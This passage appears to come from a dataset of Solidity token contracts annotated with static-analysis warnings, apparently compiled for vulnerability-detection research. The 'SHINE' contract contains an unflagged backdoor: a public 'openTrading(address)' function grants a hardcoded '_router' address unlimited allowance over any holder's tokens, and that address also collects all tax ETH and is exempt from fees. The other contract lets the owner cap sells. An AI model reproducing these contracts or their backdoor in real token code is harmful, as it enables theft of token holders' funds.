{\n marketPair[addr] = true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 52d4461): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 52d4461: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: fd21a8a): PolitFi._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for fd21a8a: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1d91040): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1d91040: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab6f4c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab6f4c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: fd21a8a\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < 51,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caTrigger &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caSell, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 52d4461\n\t\t\t\t// reentrancy-eth | ID: 1d91040\n\t\t\t\t// reentrancy-eth | ID: ab6f4c4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 52d4461\n\t\t\t\t\t// reentrancy-eth | ID: 1d91040\n\t\t\t\t\t// reentrancy-eth | ID: ab6f4c4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ab6f4c4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ab6f4c4\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 52d4461\n\t\t\t\t// reentrancy-eth | ID: 1d91040\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 52d4461\n\t\t\t\t\t// reentrancy-eth | ID: 1d91040\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1d91040\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 52d4461\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1d91040\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1d91040\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 52d4461\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 52d4461\n\t\t// reentrancy-events | ID: 17dde10\n\t\t// reentrancy-benign | ID: 815e6fd\n\t\t// reentrancy-eth | ID: 1d91040\n\t\t// reentrancy-eth | ID: ab6f4c4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eca8d81): PolitFi.setMaxTaxSwap(bool,uint256) should emit an event for _maxTaxSwap = amount \n\t// Recommendation for eca8d81: Emit an event for critical parameter changes.\n function setMaxTaxSwap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: eca8d81\n _maxTaxSwap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6e8c110): PolitFi.setcaSell(uint256) should emit an event for caSell = amount \n\t// Recommendation for 6e8c110: Emit an event for critical parameter changes.\n function setcaSell(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: 6e8c110\n caSell = amount;\n }\n\n function setcaTrigger(bool _status) external onlyOwner {\n caTrigger = _status;\n }\n\n function rescueETH() external onlyOwner {\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: b3c0459): PolitFi.rescueERC20tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for b3c0459: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: b3c0459\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f4afba6): PolitFi.setFeeWallet(address).newTaxWallet lacks a zerocheck on \t _taxWallet = address(newTaxWallet)\n\t// Recommendation for f4afba6: Check that the address is not zero.\n function setFeeWallet(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: f4afba6\n _taxWallet = payable(newTaxWallet);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: cd252e0): PolitFi.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for cd252e0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 52d4461\n\t\t// reentrancy-events | ID: 17dde10\n\t\t// reentrancy-eth | ID: 1d91040\n\t\t// reentrancy-eth | ID: ab6f4c4\n\t\t// arbitrary-send-eth | ID: cd252e0\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0cd77b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0cd77b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 14fa60d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 14fa60d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9418c1a): PolitFi.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9418c1a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bf4d697): PolitFi.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for bf4d697: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c0b8819): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c0b8819: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 0cd77b2\n\t\t// reentrancy-benign | ID: 14fa60d\n\t\t// reentrancy-eth | ID: c0b8819\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 0cd77b2\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 0cd77b2\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 14fa60d\n\t\t// unused-return | ID: 9418c1a\n\t\t// reentrancy-eth | ID: c0b8819\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 14fa60d\n\t\t// unused-return | ID: bf4d697\n\t\t// reentrancy-eth | ID: c0b8819\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 14fa60d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c0b8819\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 14fa60d\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10033.sol",
"size_bytes": 23689,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SHINE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 100d3f8): SHINE._router should be constant \n\t// Recommendation for 100d3f8: Add the 'constant' attribute to state variables that never change.\n address private _router = 0xC82Da7E6237E3Cdab69eC1407cF36883b14055A8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0eaa31a): SHINE._startBuyTax should be constant \n\t// Recommendation for 0eaa31a: Add the 'constant' attribute to state variables that never change.\n uint256 private _startBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 251a955): SHINE._startSellTax should be constant \n\t// Recommendation for 251a955: Add the 'constant' attribute to state variables that never change.\n uint256 private _startSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d75663): SHINE._secondBuyTax should be constant \n\t// Recommendation for 2d75663: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ced03f): SHINE._secondSellTax should be constant \n\t// Recommendation for 4ced03f: Add the 'constant' attribute to state variables that never change.\n uint256 private _secondSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b17e756): SHINE._reduceBuyTaxAt should be constant \n\t// Recommendation for b17e756: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 107cd93): SHINE._reduceSellTaxAt should be constant \n\t// Recommendation for 107cd93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01c010f): SHINE._preventSwapBefore should be constant \n\t// Recommendation for 01c010f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 5;\n\n uint256 private _tradeCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Supershine\";\n\n string private constant _symbol = unicode\"SHINE\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 45f70b2): SHINE._taxSwapThreshold should be constant \n\t// Recommendation for 45f70b2: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f9bf4af): SHINE._maxTaxSwap should be constant \n\t// Recommendation for f9bf4af: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 91f162f): SHINE.uniswapV2Router should be immutable \n\t// Recommendation for 91f162f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: e7824ac): SHINE.sellCount should be constant \n\t// Recommendation for e7824ac: Add the 'constant' attribute to state variables that never change.\n uint256 private sellCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55003ea): SHINE.lastSellBlock should be constant \n\t// Recommendation for 55003ea: Add the 'constant' attribute to state variables that never change.\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8feffcf): SHINE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8feffcf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fccacf3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fccacf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 030eeb9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 030eeb9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fccacf3\n\t\t// reentrancy-benign | ID: 030eeb9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fccacf3\n\t\t// reentrancy-benign | ID: 030eeb9\n _approve(\n sender,\n _msgSender(),\n allowance(sender, _msgSender()).sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1927bb8): SHINE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1927bb8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f9d1b69\n\t\t// reentrancy-benign | ID: 030eeb9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1522ce3\n\t\t// reentrancy-events | ID: fccacf3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 81f6850): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 81f6850: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 0fbfd9d): SHINE._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 0fbfd9d: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0ca6fe2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0ca6fe2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeAmt = 0;\n\n if (from != owner() && to != owner() && to != _router) {\n if (_tradeCount == 0) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n }\n\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceBuyTaxAt)\n ? _secondBuyTax\n : _startBuyTax\n )\n .div(100);\n\n _tradeCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeAmt = amount\n .mul(\n (_tradeCount > _reduceSellTaxAt)\n ? _secondSellTax\n : _startSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _tradeCount > _preventSwapBefore\n ) {\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 81f6850\n\t\t\t\t\t// reentrancy-eth | ID: 0ca6fe2\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// reentrancy-events | ID: 81f6850\n\t\t\t\t// tautology | ID: 0fbfd9d\n\t\t\t\t// reentrancy-eth | ID: 0ca6fe2\n if (contractETHBalance >= 0) sendETHToFee(contractETHBalance);\n }\n }\n\n if (feeAmt > 0) {\n\t\t\t// reentrancy-eth | ID: 0ca6fe2\n _balances[address(this)] = _balances[address(this)].add(feeAmt);\n\n\t\t\t// reentrancy-events | ID: 81f6850\n emit Transfer(from, address(this), feeAmt);\n }\n\n\t\t// reentrancy-eth | ID: 0ca6fe2\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0ca6fe2\n _balances[to] = _balances[to].add(amount.sub(feeAmt));\n\n\t\t// reentrancy-events | ID: 81f6850\n emit Transfer(from, to, amount.sub(feeAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: fccacf3\n\t\t// reentrancy-events | ID: 81f6850\n\t\t// reentrancy-benign | ID: 030eeb9\n\t\t// reentrancy-eth | ID: 0ca6fe2\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: fccacf3\n\t\t// reentrancy-events | ID: 81f6850\n\t\t// reentrancy-eth | ID: 0ca6fe2\n payable(_router).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 500c6ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 500c6ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5e71ac9): SHINE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5e71ac9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f0c42bf): SHINE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f0c42bf: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 227ab4b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 227ab4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 500c6ed\n\t\t// reentrancy-eth | ID: 227ab4b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 500c6ed\n\t\t// unused-return | ID: 5e71ac9\n\t\t// reentrancy-eth | ID: 227ab4b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 500c6ed\n\t\t// unused-return | ID: f0c42bf\n\t\t// reentrancy-eth | ID: 227ab4b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 500c6ed\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 227ab4b\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1522ce3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1522ce3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f9d1b69): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f9d1b69: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0b5b996): SHINE.openTrading(address) ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0b5b996: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c7600e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c7600e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading(address newPair) public {\n require(tradingOpen, \"trading is not open\");\n if (!tradingOpen)\n\t\t\t// reentrancy-events | ID: 1522ce3\n\t\t\t// reentrancy-benign | ID: f9d1b69\n\t\t\t// unused-return | ID: 0b5b996\n\t\t\t// reentrancy-eth | ID: 2c7600e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-events | ID: 1522ce3\n\t\t// reentrancy-benign | ID: f9d1b69\n _approve(newPair, _router, type(uint).max);\n\n\t\t// reentrancy-benign | ID: f9d1b69\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 2c7600e\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10034.sol",
"size_bytes": 21617,
"vulnerability": 4
} |
{
